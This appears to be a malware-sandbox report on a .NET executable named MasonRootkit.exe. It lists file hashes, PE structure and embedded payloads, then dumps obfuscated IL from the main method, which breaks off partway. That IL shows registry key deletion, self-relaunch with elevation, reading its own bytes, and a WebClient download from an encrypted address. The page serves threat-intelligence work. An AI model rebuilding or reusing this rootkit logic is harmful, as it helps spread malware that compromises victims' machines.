Suspicious
Suspect

76d622a3a2f86e2a5e6217155a6ee1d4

Share on LinkedIn
Print
PE Executable
MD5: 76d622a3a2f86e2a5e6217155a6ee1d4
Size: 1.61 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 76d622a3a2f86e2a5e6217155a6ee1d4
Sha1 e095d3b85a18bd8dda63bfd1c12f60c02b812597
Sha256 fc094a9cbf6b8e30b323d1b55d5b9a9a49c2d2ce34d48014540d00ea845fafe9
Sha384 6c0a5712b26bbb0cf5f3f5f903d793edf0fdd451b62aee35aeb0fe018988c83c0ad7766113afc90bac5abb70579d855b
Sha512 8cf8b47de4045cb2513d58b882bc8d2b5bc63fb8ab2be08b0ae6d1df99d9e33e3f79cfc0cdd84dd8a9cd42aba08d746bee32ece70e3012b99cead4dee00c85ad
SSDeep 24576:HyMPPZKL1YpDI8/WFCoanWgU6psHl2LPrA+YjIs2aTMpwoGcPAdjXbH:HyMPBKZ+skGd6pjLTA+w32asxg9r
TLSH F0751252F5A401F6D4AA81354D632F11B7B6F43A4720ABFB4B48584CBF63BA41D7AF80
PeID
.NET executableMASM/TASM - sig4 (h)Microsoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
76d622a3a2f86e2a5e6217155a6ee1d4
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
hiq22cyx.rbz
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
wxewidaxg.Resources
Dominate.exe
tpm spoof.exe
teuo0bvm.xthrootkit
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.rsrc
Resources
DLL
ID:0065
ID:1033
Structure
DosHeader
PE Header
Optional Header (x64)
Section Headers
.text
.rdata
.data
.pdata
.detourc
.detourd
_RDATA
.reloc
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
MasonRootkit.exe
Full Name
MasonRootkit.exe
EntryPoint 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Scope Name
MasonRootkit.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
MasonRootkit
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.8
Total Strings
188
Main Method 
System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String[])
Main IL Instruction Count
248
Main IL 
ldsfld System.IntPtr System.IntPtr::Zero
stloc.0 <null>
call System.Boolean System.Environment::get_Is64BitOperatingSystem()
brfalse.s IL_0015: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldloca.s V_0
call System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.IntPtr&)
pop <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0021: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brtrue IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_01CE: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
蝽
蝡
蝨
蝺
蝹
蝯
蝼
蝫
蝲
蝊
蝇
蝊
蝇
蝜
蝛
蝀
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
call System.Int32 <Module>::⇎ↂႋ⇝↞⇁⇀↩⇕⇂ↇ∷ↇ൲↹↽↋∶⇎ↆ⇙∷ ↽⇞⇎⇕ↇ↢ↇ↋ↀ↣↋↹⇎↩⇟⇎↌⇟↺Ↄ↹↭⇎ↇ⇎⇟⇜⇟⇚⇚ↂ↹⇞⇂⇟ↁ↋⇇↠⇎⇜∷ႋ⇙⇟↭↞↞↣∷⇀⇟↌↖↭↖⇎⇞⇎⇎ↆ↺↌∷⇕⇚↖↺↣⇞⇙()
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String)
stloc.1 <null>
ldloc.1 <null>
brtrue.s IL_0084: ldloc.1
ldstr 
쁵
쁴
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1716895771
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
stloc.2 <null>
br.s IL_00AF: ldloc.2
ldloc.1 <null>
ldstr 
톝
톐
톝
톐
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1030083065
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String)
castclass System.String
stloc.2 <null>
ldloc.2 <null>
ldstr 
ꭖ
ꭊ
ꭜ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 152021807
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
call System.Boolean System.String::op_Equality(System.String,System.String)
brtrue.s IL_00E6: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_014A: nop
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.3 <null>
ldloc.3 <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
ldloc.3 <null>
ldstr 
괝
괚
괁
괎
괜
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 308915567
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Verb(System.String)
nop <null>
ldloc.3 <null>
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_013C: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
ceq <null>
stloc.s V_4
ldloc.s V_4
brfalse.s IL_0129: nop
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
ჺ
ღ
ჯ
ჽ
ჾ
შ
჻
წ
ჵ
Ⴭ
Ⴠ
Ⴭ
Ⴠ
მ
ნ
Ⴧ
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 866259113
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_0179: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_018E: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0193: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_01A0: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
ret <null>
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Diagnostics.Process System.Diagnostics.Process::GetCurrentProcess()
callvirt System.Int32 System.Diagnostics.Process::get_Id()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Int32)
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String)
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_020B: nop
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
nop <null>
ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser
ldstr 
才
扑
托
扊
扉
扟
扌
扛
扂
扺
扷
扺
扷
扬
扫
扰
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1051615774
ldc.i4.1 <null>
call System.String Class1::!~FREEMASONRY?⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽(System.String,System.Int32,System.Boolean)
callvirt System.Void Microsoft.Win32.RegistryKey::DeleteSubKey(System.String)
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
pop <null>
leave.s IL_023A: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_024F: call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
br.s IL_0254: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ()
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_0261: ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldc.i4.0 <null>
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.Boolean)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
brfalse.s IL_028B: nop
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Reflection.Assembly System.Reflection.Assembly::GetEntryAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
ldsfld System.Boolean MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
ldsfld System.String MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ
call System.Void MasonRootkit.Program::!~FREEMASONRY?ↁ⇀⇘↋⇎⇎↞↖↌↋↭⇛↋⇂⇇Ↄↇ∷⇀↦⇚⇇⇕⇇↽⇀∷⇎↠⇝⇀⇚ↂ↞↋⇝ↂↆↂ⇂↦↹↍∷⇟⇝⇎∶ↅႋ(System.String,System.Byte[],System.Boolean,System.String)
nop <null>
newobj System.Void System.Net.WebClient::.ctor()
stloc.s V_5
ldloc.s V_5
ldstr 
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
ldstr 

ldstr 
call System.String System.String::Replace(System.String,System.String)
ldc.i4 1338693632
